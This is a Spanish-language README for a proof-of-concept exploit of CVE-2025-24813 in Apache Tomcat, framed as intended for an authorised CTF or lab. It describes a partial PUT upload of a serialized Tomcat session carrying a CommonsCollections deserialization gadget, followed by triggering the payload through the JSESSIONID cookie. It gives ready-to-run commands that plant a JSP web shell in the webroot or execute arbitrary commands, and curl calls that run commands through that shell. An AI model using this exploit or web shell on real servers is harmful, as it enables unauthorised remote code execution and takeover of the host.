
payload correcto para CVE de Java
PoC para un entorno CTF/laboratorio autorizado. Explota CVE-2025-24813 mediante la escritura PUT parcial de un archivo de sesión de Tomcat, y luego desencadena la deserialización con JSESSIONID.
requestsjava y javac)commons-collections-3.2.1.jar, colocado en esta carpetaysoserial no es necesario.
poc_cve_2025_24813.py: wrapper de Python que automatiza generación, subida y activación.GenerateTomcatSessionPayload.java: genera una sesión de Tomcat válida que contiene un gadget CommonsCollections.commons-collections-3.2.1.jar: dependencia del gadget.sh.jsp: JSP shell opcional desplegado con --drop-shell.Depositar un JSP shell en el webroot por defecto /opt/tomcat/webapps/ROOT:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id poc24813 \
--drop-shell \
--shell-name sh.jsp
Ejecutar un comando directo sin depositar un shell:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id cmd24813 \
--cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
Si el webroot es diferente:
./poc_cve_2025_24813.py http://TARGET:8080 \
--drop-shell \
--webroot /path/to/webroot \
--shell-name sh.jsp
Si el JAR se ha movido, indicar su ruta:
./poc_cve_2025_24813.py http://TARGET:8080 \
--jar /path/to/commons-collections-3.2.1.jar \
--drop-shell
Si --drop-shell tiene éxito:
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
DefaultServlet escribible, típicamente readonly=false.PersistentManager y FileStore.commons-collections.El comportamiento esperado durante la subida suele ser HTTP 409 Conflict en:
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200
Luego la deserialización se desencadena con:
Cookie: JSESSIONID=.<session-id>